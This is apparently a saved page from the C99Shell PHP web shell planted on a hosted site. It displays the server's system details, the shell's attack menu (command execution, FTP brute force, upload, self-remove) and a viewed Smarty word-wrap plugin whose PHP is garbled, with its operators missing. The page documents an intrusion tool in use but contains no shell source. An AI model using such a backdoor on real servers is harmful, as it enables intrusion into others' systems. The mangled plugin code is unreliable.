!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/smarty/plugins/   drwxr-xr-x
Free 116.91 GB of 200.55 GB (58.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     shared.mb_wordwrap.php (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty shared plugin
 *
 * @package Smarty
 * @subpackage PluginsShared
 */

if(!function_exists('smarty_mb_wordwrap')) {

    
/**
     * Wrap a string to a given number of characters
     *
     * @link http://php.net/manual/en/function.wordwrap.php for similarity
     * @param string  $str   the string to wrap
     * @param int     $width the width of the output
     * @param string  $break the character used to break the line
     * @param boolean $cut   ignored parameter, just for the sake of
     * @return string wrapped string
     * @author Rodney Rehm
     */
    
function smarty_mb_wordwrap($str$width=75$break="\n"$cut=false)
    {
        
// break words into tokens using white space as a delimiter
        
$tokens preg_split('!(\s)!uS'$str, -1PREG_SPLIT_NO_EMPTY PREG_SPLIT_DELIM_CAPTURE);
        
$length 0;
        
$t '';
        
$_previous false;

        foreach (
$tokens as $_token) {
            
$token_length mb_strlen($_tokenSMARTY_RESOURCE_CHAR_SET);
            
$_tokens = array($_token);
            if (
$token_length $width) {
                
// remove last space
                
$t mb_substr($t0, -1SMARTY_RESOURCE_CHAR_SET);
                
$_previous false;
                
$length 0;

                if (
$cut) {
                    
$_tokens preg_split('!(.{' $width '})!uS'$_token, -1PREG_SPLIT_NO_EMPTY PREG_SPLIT_DELIM_CAPTURE);
                    
// broken words go on a new line
                    
$t .= $break;
                }
            }

            foreach (
$_tokens as $token) {
                
$_space = !!preg_match('!^\s$!uS'$token);
                
$token_length mb_strlen($tokenSMARTY_RESOURCE_CHAR_SET);
                
$length += $token_length;

                if (
$length $width) {
                    
// remove space before inserted break
                    
if ($_previous && $token_length $width) {
                        
$t mb_substr($t0, -1SMARTY_RESOURCE_CHAR_SET);
                    }

                    
// add the break before the token
                    
$t .= $break;
                    
$length $token_length;

                    
// skip space after inserting a break
                    
if ($_space) {
                        
$length 0;
                        continue;
                    }
                } else if (
$token == "\n") {
                    
// hard break must reset counters
                    
$_previous 0;
                    
$length 0;
                } else {
                    
// remember if we had a space or not
                    
$_previous $_space;
                }
                
// add the token
                
$t .= $token;
            }
        }

        return 
$t;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0413 ]--